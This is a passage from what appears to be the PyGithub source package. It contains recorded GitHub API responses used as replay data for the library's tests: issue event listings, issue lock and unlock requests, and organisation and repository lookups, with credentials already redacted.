"https://github.com/PyGithub/PyGithub/issues/28#issuecomment-415570895", "issue_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/28", "id": 415570895, "node_id": "MDEyOklzc3VlQ29tbWVudDQxNTU3MDg5NQ==", "user": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false }, "created_at": "2018-08-23T21:05:39Z", "updated_at": "2018-08-23T21:05:39Z", "author_association": "CONTRIBUTOR", "body": "Comment created by PyGithub", "event": "commented", "actor": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false } }, { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments/415762819", "html_url": "https://github.com/PyGithub/PyGithub/issues/28#issuecomment-415762819", "issue_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/28", "id": 415762819, "node_id": "MDEyOklzc3VlQ29tbWVudDQxNTc2MjgxOQ==", "user": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false }, "created_at": "2018-08-24T13:43:44Z", "updated_at": "2018-08-24T13:43:44Z", "author_association": "CONTRIBUTOR", "body": "Comment created by PyGithub", "event": "commented", "actor": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false } }, { "actor": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false }, "created_at": "2018-08-24T15:42:24Z", "updated_at": "2018-08-24T15:42:24Z", "source": { "type": "issue", "issue": { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/857", "repository_url": "https://api.github.com/repos/PyGithub/PyGithub", "labels_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}", "comments_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments", "events_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/857/events", "html_url": "https://github.com/PyGithub/PyGithub/pull/857", "id": 348340651, "node_id": "MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy", "number": 857, "title": "Adding new attributes to IssueEvent", "user": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false }, "labels": [ { "id": 895322782, "node_id": "MDU6TGFiZWw4OTUzMjI3ODI=", "url": "https://api.github.com/repos/PyGithub/PyGithub/labels/improvement", "name": "improvement", "color": "f46bb7", "default": false, "description": "" } ], "state": "closed", "locked": false, "assignee": null, "assignees": [ ], "milestone": null, "comments": 27, "created_at": "2018-08-07T14:14:44Z", "updated_at": "2018-08-24T16:09:23Z", "closed_at": "2018-08-24T16:01:30Z", "author_association": "CONTRIBUTOR", "repository": { "id": 3544490, "node_id": "MDEwOlJlcG9zaXRvcnkzNTQ0NDkw", "name": "PyGithub", "full_name": "PyGithub/PyGithub", "private": false, "owner": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "html_url": "https://github.com/PyGithub/PyGithub", "description": "Typed interactions with the GitHub API v3", "fork": false, "url": "https://api.github.com/repos/PyGithub/PyGithub", "forks_url": "https://api.github.com/repos/PyGithub/PyGithub/forks", "keys_url": "https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}", "collaborators_url": "https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}", "teams_url": "https://api.github.com/repos/PyGithub/PyGithub/teams", "hooks_url": "https://api.github.com/repos/PyGithub/PyGithub/hooks", "issue_events_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}", "events_url": "https://api.github.com/repos/PyGithub/PyGithub/events", "assignees_url": "https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}", "branches_url": "https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}", "tags_url": "https://api.github.com/repos/PyGithub/PyGithub/tags", "blobs_url": "https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}", "git_tags_url": "https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}", "git_refs_url": "https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}", "trees_url": "https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}", "statuses_url": "https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}", "languages_url": "https://api.github.com/repos/PyGithub/PyGithub/languages", "stargazers_url": "https://api.github.com/repos/PyGithub/PyGithub/stargazers", "contributors_url": "https://api.github.com/repos/PyGithub/PyGithub/contributors", "subscribers_url": "https://api.github.com/repos/PyGithub/PyGithub/subscribers", "subscription_url": "https://api.github.com/repos/PyGithub/PyGithub/subscription", "commits_url": "https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}", "git_commits_url": "https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}", "comments_url": "https://api.github.com/repos/PyGithub/PyGithub/comments{/number}", "issue_comment_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}", "contents_url": "https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}", "compare_url": "https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}", "merges_url": "https://api.github.com/repos/PyGithub/PyGithub/merges", "archive_url": "https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}", "downloads_url": "https://api.github.com/repos/PyGithub/PyGithub/downloads", "issues_url": "https://api.github.com/repos/PyGithub/PyGithub/issues{/number}", "pulls_url": "https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}", "milestones_url": "https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}", "notifications_url": "https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}", "labels_url": "https://api.github.com/repos/PyGithub/PyGithub/labels{/name}", "releases_url": "https://api.github.com/repos/PyGithub/PyGithub/releases{/id}", "deployments_url": "https://api.github.com/repos/PyGithub/PyGithub/deployments", "created_at": "2012-02-25T12:53:47Z", "updated_at": "2019-11-25T10:43:32Z", "pushed_at": "2019-11-25T10:57:49Z", "git_url": "git://github.com/PyGithub/PyGithub.git", "ssh_url": "git@github.com:PyGithub/PyGithub.git", "clone_url": "https://github.com/PyGithub/PyGithub.git", "svn_url": "https://github.com/PyGithub/PyGithub", "homepage": "https://pygithub.readthedocs.io/", "size": 12176, "stargazers_count": 3010, "watchers_count": 3010, "language": "Python", "has_issues": true, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "forks_count": 998, "mirror_url": null, "archived": false, "disabled": false, "open_issues_count": 56, "license": { "key": "lgpl-3.0", "name": "GNU Lesser General Public License v3.0", "spdx_id": "LGPL-3.0", "url": "https://api.github.com/licenses/lgpl-3.0", "node_id": "MDc6TGljZW5zZTEy" }, "forks": 998, "open_issues": 56, "watchers": 3010, "default_branch": "master" }, "pull_request": { "url": "https://api.github.com/repos/PyGithub/PyGithub/pulls/857", "html_url": "https://github.com/PyGithub/PyGithub/pull/857", "diff_url": "https://github.com/PyGithub/PyGithub/pull/857.diff", "patch_url": "https://github.com/PyGithub/PyGithub/pull/857.patch" }, "body": "See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n" } }, "event": "cross-referenced" }, { "id": 2316739219, "node_id": "MDExOkxvY2tlZEV2ZW50MjMxNjczOTIxOQ==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316739219", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "locked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T08:38:14Z" }, { "id": 2316833905, "node_id": "MDEzOlVubG9ja2VkRXZlbnQyMzE2ODMzOTA1", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316833905", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "unlocked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:17:14Z" }, { "id": 2316834996, "node_id": "MDExOkxvY2tlZEV2ZW50MjMxNjgzNDk5Ng==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316834996", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "locked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:17:42Z" }, { "id": 2316892991, "node_id": "MDEzOlVubG9ja2VkRXZlbnQyMzE2ODkyOTkx", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316892991", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "unlocked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:41:18Z" }, { "id": 2316896792, "node_id": "MDExOkxvY2tlZEV2ZW50MjMxNjg5Njc5Mg==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316896792", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "locked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:42:52Z" }, { "id": 2316900651, "node_id": "MDEzOlVubG9ja2VkRXZlbnQyMzE2OTAwNjUx", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316900651", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "unlocked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:44:22Z" } ] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testLock.txt0000644000175100001660000000265714756101563021610 0ustar00runnerdockerhttps PUT api.github.com None /repos/PyGithub/PyGithub/issues/28/lock {'Content-Type': 'application/json', 'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"lock_reason": "resolved"} 204 [('Server', 'GitHub.com'), ('Date', 'Fri, 03 May 2019 09:42:52 GMT'), ('Content-Type', 'application/octet-stream'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1556880113'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.sailor-v-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'C339:2746:A14FFE:15EFA60:5CCC0D1C')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testUnlock.txt0000644000175100001660000000245714756101563022151 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/issues/28/lock {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Fri, 03 May 2019 09:44:22 GMT'), ('Content-Type', 'application/octet-stream'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1556880113'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'C373:6113:E26177:1C113F4:5CCC0D75')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue131.setUp.txt0000644000175100001660000002071514756101563021340 0ustar00runnerdockerhttps GET api.github.com None /users/openmicroscopy {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '880'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4970'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 23 Jan 2013 08:05:19 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"27fbbede10fb63fbf5865a0ebfe59d0c"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sun, 03 Feb 2013 16:46:08 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"Organization","company":null,"url":"https://api.github.com/orgs/openmicroscopy","events_url":"https://api.github.com/orgs/openmicroscopy/events","login":"openmicroscopy","public_gists":0,"updated_at":"2013-01-23T08:05:19Z","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","blog":"http://www.openmicroscopy.org/","html_url":"https://github.com/openmicroscopy","followers":0,"following":0,"created_at":"2011-08-12T10:59:08Z","members_url":"https://api.github.com/orgs/openmicroscopy/members{/member}","public_repos":9,"location":null,"name":"Open Microscopy Environment","public_members_url":"https://api.github.com/orgs/openmicroscopy/public_members{/member}","id":975861,"email":null,"repos_url":"https://api.github.com/orgs/openmicroscopy/repos"} https GET api.github.com None /repos/openmicroscopy/ome-documentation {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '6339'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4969'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 01 Feb 2013 11:04:39 GMT'), ('connection', 'keep-alive'), ('etag', '"4515ca61239f4659ce223447eca194ec"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sun, 03 Feb 2013 16:46:09 GMT'), ('content-type', 'application/json; charset=utf-8')] {"id":3198415,"fork":false,"statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks","created_at":"2012-01-17T10:20:53Z","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","permissions":{"push":false,"pull":true,"admin":false},"watchers_count":9,"collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","has_wiki":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","language":"Python","description":"Sphinx-based documentation for the Open Microscopy Environment ","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers":9,"assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","has_issues":true,"git_url":"git://github.com/openmicroscopy/ome-documentation.git","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","updated_at":"2013-02-01T11:04:39Z","open_issues":3,"master_branch":"develop","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","homepage":"http://openmicroscopy.org","git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","network_count":19,"issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","has_downloads":true,"pushed_at":"2013-02-01T11:04:38Z","private":false,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","forks":19,"name":"ome-documentation","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","forks_count":19,"commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","html_url":"https://github.com/openmicroscopy/ome-documentation","size":488,"archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","svn_url":"https://github.com/openmicroscopy/ome-documentation","default_branch":"develop","compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","open_issues_count":3,"teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","organization":{"type":"Organization","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","url":"https://api.github.com/users/openmicroscopy","login":"openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gravatar_id":"7424190904f55023bd16416af0fd799b","repos_url":"https://api.github.com/users/openmicroscopy/repos","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png"},"merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","labels_u